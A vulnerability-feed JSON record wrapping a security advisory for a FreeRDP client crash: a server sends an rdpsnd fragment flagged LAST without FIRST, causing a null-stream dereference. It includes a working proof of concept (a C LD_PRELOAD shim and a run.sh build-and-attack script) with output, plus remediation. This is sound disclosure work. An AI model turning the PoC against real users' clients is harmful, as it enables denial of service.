{"schema":"threatline.record/2","record":{"id":"GHSA-3mq5-xh88-9v62","aliases":["GHSA-3mq5-xh88-9v62"],"summary":"Malformed `rdpsnd` fragment sequence can terminate a FreeRDP client","details":"### Summary\r\n\r\nA malicious or compromised RDP server can terminate a FreeRDP client that connects with the static `rdpsnd` channel enabled. The server sends a channel fragment marked `CHANNEL_FLAG_LAST` while omitting `CHANNEL_FLAG_FIRST`. FreeRDP forwards these server-controlled flags to the production `rdpsnd` callback. That callback creates its reassembly stream only when FIRST is present, but uses the stream unconditionally afterward. On a fresh channel, the malformed fragment therefore reaches the stream helpers with a null stream.\r\n\r\nThe issue affects availability. It does not establish remote code execution, memory corruption, credential exposure, or a TLS bypass.\r\n\r\n### Root cause\r\n\r\n`freerdp_channel_process` reads the total length and flags from the server PDU and forwards them unchanged through `ReceiveChannelData`. In `rdpsnd_virtual_channel_event_data_received`, `plugin->data_in` is allocated only inside the `CHANNEL_FLAG_FIRST` branch. `Stream_EnsureRemainingCapacity(plugin->data_in, dataLength)` then executes even when no FIRST fragment has initialized that pointer.\r\n\r\nWith verbose WinPR assertions, `Stream_GetPosition` aborts because its stream argument is null. Without the verbose assertion, the subsequent access to the stream fields still dereferences null. The neighboring `rdpdr` implementation already checks for missing reassembly state and returns `ERROR_INVALID_DATA`; `rdpsnd` lacks an equivalent guard.\r\n\r\n### Attack requirements and impact\r\n\r\nThe victim must connect a FreeRDP client to a server controlled by the attacker and enable static sound redirection. The attacker then sends one syntactically complete `rdpsnd` channel PDU with a matching payload length and LAST set without FIRST. No client-side authentication, allocator-state prediction, or race is required.\r\n\r\nThe supplied PoC establishes a real TLS/RDP session, selects the negotiated production `rdpsnd` channel, and injects the differential fragment at the post-connect `ReceiveChannelData` callback. The conforming FIRST|LAST control exits normally. Changing only the flags to LAST causes the client to abort in `Stream_EnsureRemainingCapacity`.\r\n\r\nThe injection point is a deliberate test boundary, not a raw-wire serializer. Raw-wire reachability follows from the production parser reading server-controlled flags and forwarding them unchanged to the same callback. The stock sample server emits conforming flags, so the shim preserves the invalid fragment state required to exercise the client path.\r\n\r\n### Reproduction\r\n\r\nThe PoC contains source only. It defaults to downloading and checksum-verifying FreeRDP 3.31.1, then builds the sample client and server with verbose WinPR assertions. A Linux ELF environment, C compiler, CMake, OpenSSL, `curl`, `timeout`, and normal FreeRDP build dependencies are required.\r\n\r\nRun:\r\n\r\n```sh\r\ncd poc\r\n./run.sh\r\n```\r\n\r\nObserved from the exact packaged files:\r\n\r\n```text\r\nREPRO_SHIM mode=control channel=rdpsnd id=1005 size=16 total=16 injected_flags=0x00000003\r\nREPRO_SHIM mode=attack channel=rdpsnd id=1005 size=16 total=16 injected_flags=0x00000002\r\ncontrol_exit=0 attack_exit=134\r\n```\r\n\r\nThe numeric channel ID is negotiated and may differ between sessions. The significant differential is that the same channel, payload, and total length succeed with FIRST|LAST and terminate the client with LAST alone.\r\n\r\n<!-- BEGIN FILE: dispatch_shim.c -->\r\n```c\r\n#define _GNU_SOURCE\r\n\r\n#include <dlfcn.h>\r\n#include <inttypes.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/channels/channels.h>\r\n#include <freerdp/client.h>\r\n#include <freerdp/constants.h>\r\n#include <freerdp/freerdp.h>\r\n\r\ntypedef rdpContext* (*client_context_new_fn)(const RDP_CLIENT_ENTRY_POINTS*);\r\ntypedef BOOL (*connect_fn)(freerdp*);\r\n\r\nstatic pReceiveChannelData original_receive;\r\n\r\nstatic BOOL receive_shim(freerdp* instance, UINT16 channelId, const BYTE* data, size_t size,\r\n                         UINT32 flags, size_t totalSize)\r\n{\r\n\treturn original_receive(instance, channelId, data, size, flags, totalSize);\r\n}\r\n\r\nrdpContext* freerdp_client_context_new(const RDP_CLIENT_ENTRY_POINTS* entryPoints)\r\n{\r\n\tclient_context_new_fn real_new =\r\n\t    (client_context_new_fn)dlsym(RTLD_NEXT, \"freerdp_client_context_new\");\r\n\tif (!real_new)\r\n\t{\r\n\t\tfprintf(stderr, \"REPRO_SHIM dlsym failed: %s\\n\", dlerror());\r\n\t\treturn NULL;\r\n\t}\r\n\r\n\trdpContext* context = real_new(entryPoints);\r\n\tif (context && context->instance)\r\n\t{\r\n\t\toriginal_receive = context->instance->ReceiveChannelData;\r\n\t\tcontext->instance->ReceiveChannelData = receive_shim;\r\n\t}\r\n\treturn context;\r\n}\r\n\r\nBOOL freerdp_connect(freerdp* instance)\r\n{\r\n\tconnect_fn real_connect = (connect_fn)dlsym(RTLD_NEXT, \"freerdp_connect\");\r\n\tif (!real_connect)\r\n\t{\r\n\t\tfprintf(stderr, \"REPRO_SHIM connect dlsym failed: %s\\n\", dlerror());\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tconst BOOL connected = real_connect(instance);\r\n\tif (!connected || !original_receive)\r\n\t\treturn connected;\r\n\r\n\tconst char* mode = getenv(\"REPRO_MODE\");\r\n\tconst UINT16 channelId = freerdp_channels_get_id_by_name(instance, \"rdpsnd\");\r\n\tconst UINT32 flags = (mode && (strcmp(mode, \"attack\") == 0))\r\n\t                         ? CHANNEL_FLAG_LAST\r\n\t                         : (CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST);\r\n\tconst BYTE data[16] = { 0 };\r\n\r\n\tfprintf(stderr,\r\n\t        \"REPRO_SHIM mode=%s channel=rdpsnd id=%\" PRIu16\r\n\t        \" size=%zu total=%zu injected_flags=0x%08\" PRIx32 \"\\n\",\r\n\t        mode ? mode : \"control\", channelId, sizeof(data), sizeof(data), flags);\r\n\tfflush(stderr);\r\n\r\n\tif (channelId == 0)\r\n\t\treturn FALSE;\r\n\treturn original_receive(instance, channelId, data, sizeof(data), flags, sizeof(data));\r\n}\r\n```\r\n<!-- END FILE: dispatch_shim.c -->\r\n\r\n<!-- BEGIN FILE: run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nVERSION=3.31.1\r\nARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nWORK_DIR=${WORK_DIR:-\"$BASE_DIR/.build\"}\r\nPORT=${PORT:-33979}\r\n\r\nif { [ -n \"${SOURCE_DIR:-}\" ] && [ -z \"${BUILD_DIR:-}\" ]; } ||\r\n\t{ [ -z \"${SOURCE_DIR:-}\" ] && [ -n \"${BUILD_DIR:-}\" ]; }; then\r\n\techo \"SOURCE_DIR and BUILD_DIR must be supplied together\" >&2\r\n\texit 2\r\nfi\r\n\r\nif [ -n \"${SOURCE_DIR:-}\" ]; then\r\n\tSOURCE=$SOURCE_DIR\r\n\tBUILD=$BUILD_DIR\r\nelse\r\n\tARCHIVE=\"$WORK_DIR/$VERSION.tar.gz\"\r\n\tSOURCE=\"$WORK_DIR/FreeRDP-$VERSION\"\r\n\tBUILD=\"$WORK_DIR/build\"\r\n\tmkdir -p \"$WORK_DIR\"\r\n\tif [ ! -f \"$ARCHIVE\" ]; then\r\n\t\tcurl -fL --retry 3 -o \"$ARCHIVE\" \\\r\n\t\t\t\"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz\"\r\n\tfi\r\n\tprintf '%s  %s\\n' \"$ARCHIVE_SHA256\" \"$ARCHIVE\" | sha256sum -c -\r\n\r\n\tif [ ! -d \"$SOURCE\" ]; then\r\n\t\ttar -xzf \"$ARCHIVE\" -C \"$WORK_DIR\"\r\n\tfi\r\n\r\n\tif command -v cmake >/dev/null 2>&1; then\r\n\t\tCMAKE=cmake\r\n\telse\r\n\t\tCMAKE=\"python3 -m cmake\"\r\n\tfi\r\n\r\n\t$CMAKE -S \"$SOURCE\" -B \"$BUILD\" \\\r\n\t\t-DCMAKE_BUILD_TYPE=Debug \\\r\n\t\t-DBUILD_TESTING=OFF -DBUILD_FUZZERS=OFF \\\r\n\t\t-DWITH_CLIENT=ON -DWITH_SERVER=ON -DWITH_SAMPLE=ON \\\r\n\t\t-DWITH_VERBOSE_WINPR_ASSERT=ON -DWITH_UNICODE_BUILTIN=ON \\\r\n\t\t-DWITH_KRB5=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \\\r\n\t\t-DWITH_SDL=OFF -DWITH_CAIRO=OFF -DWITH_FFMPEG=OFF \\\r\n\t\t-DWITH_SWSCALE=OFF -DWITH_PULSE=OFF -DWITH_ALSA=OFF \\\r\n\t\t-DWITH_CUPS=OFF -DWITH_FUSE=OFF -DWITH_PCSC=OFF \\\r\n\t\t-DWITH_MANPAGES=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF\r\n\t$CMAKE --build \"$BUILD\" --target sfreerdp sfreerdp-server -j\"${JOBS:-2}\"\r\nfi\r\n\r\nCLIENT=\"$BUILD/client/Sample/sfreerdp\"\r\nSERVER=\"$BUILD/server/Sample/sfreerdp-server\"\r\nSHIM=\"$WORK_DIR/dispatch_shim.so\"\r\nCERT=\"$WORK_DIR/server.crt\"\r\nKEY=\"$WORK_DIR/server.key\"\r\ntest -x \"$CLIENT\"\r\ntest -x \"$SERVER\"\r\nmkdir -p \"$WORK_DIR\"\r\n\r\ncc -shared -fPIC -O1 -g -Wall -Wextra \\\r\n\t-I\"$BUILD/include\" -I\"$BUILD/winpr/include\" \\\r\n\t-I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n\t\"$BASE_DIR/dispatch_shim.c\" -o \"$SHIM\" -ldl\r\n\r\nif [ ! -s \"$KEY\" ] || [ ! -s \"$CERT\" ]; then\r\n\topenssl req -x509 -newkey rsa:2048 -nodes \\\r\n\t\t-subj /CN=127.0.0.1 -days 1 \\\r\n\t\t-keyout \"$KEY\" -out \"$CERT\" >/dev/null 2>&1\r\nfi\r\n\r\nrun_case()\r\n{\r\n\tmode=$1\r\n\tserver_log=\"$WORK_DIR/$mode.server.log\"\r\n\tclient_log=\"$WORK_DIR/$mode.client.log\"\r\n\r\n\tASAN_OPTIONS=detect_leaks=0 UBSAN_OPTIONS=print_stacktrace=1 \\\r\n\t\t\"$SERVER\" --cert=\"$CERT\" --key=\"$KEY\" --port=\"$PORT\" \\\r\n\t\t>\"$server_log\" 2>&1 &\r\n\tserver_pid=$!\r\n\tsleep 1\r\n\r\n\tpreload=$SHIM\r\n\tif [ -n \"${PRELOAD_PREFIX:-}\" ]; then\r\n\t\tpreload=\"$PRELOAD_PREFIX:$preload\"\r\n\tfi\r\n\r\n\tset +e\r\n\ttimeout 20 env \\\r\n\t\tLD_PRELOAD=\"$preload\" REPRO_MODE=\"$mode\" \\\r\n\t\tASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \\\r\n\t\tUBSAN_OPTIONS=print_stacktrace=1:halt_on_error=0 \\\r\n\t\t\"$CLIENT\" /v:127.0.0.1:\"$PORT\" /u:test /p:test \\\r\n\t\t/cert:ignore /sec:tls /sound:sys:fake >\"$client_log\" 2>&1\r\n\tclient_rc=$?\r\n\tset -e\r\n\r\n\tkill \"$server_pid\" 2>/dev/null || true\r\n\twait \"$server_pid\" 2>/dev/null || true\r\n\tgrep 'REPRO_SHIM mode=' \"$client_log\"\r\n\tprintf '%s\\n' \"$client_rc\"\r\n}\r\n\r\ncontrol_rc=$(run_case control | tee \"$WORK_DIR/control.summary\" | tail -n 1)\r\nattack_rc=$(run_case attack | tee \"$WORK_DIR/attack.summary\" | tail -n 1)\r\ncat \"$WORK_DIR/control.summary\" | head -n 1\r\ncat \"$WORK_DIR/attack.summary\" | head -n 1\r\nprintf 'control_exit=%s attack_exit=%s\\n' \"$control_rc\" \"$attack_rc\"\r\n\r\ntest \"$control_rc\" -eq 0\r\ntest \"$attack_rc\" -eq 134\r\ngrep -q 'Stream_EnsureRemainingCapacity' \"$WORK_DIR/attack.client.log\"\r\n```\r\n<!-- END FILE: run.sh -->\r\n\r\n### Remediation\r\n\r\nReject channel data unless `plugin->data_in` exists. Immediately after the FIRST branch, return `ERROR_INVALID_DATA` if no reassembly stream is active, before calling any stream helper. The existing `rdpdr` state check provides a suitable pattern.\r\n\r\nAlso release an incomplete stream when a new FIRST fragment arrives, enforce consistency between `totalLength`, accumulated bytes, and LAST, and add dispatcher-level regression tests for missing FIRST, repeated FIRST, invalid total lengths, and cleanup after errors.","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3mq5-xh88-9v62","source_modified_at":"2026-09-30T21:44:14Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3mq5-xh88-9v62","source_modified_at":"2026-09-30T21:44:14Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:44:14Z","modified_at":"2026-09-30T21:44:14Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3mq5-xh88-9v62","fetched_at":"2026-10-23T21:10:45.942435Z","source_modified_at":"2026-09-30T21:44:14Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:44:14Z","content_hash":"86b5699ca829725bf6ed7f62f5105ec893f0aa790c62880667f05ec868fc3572"}}
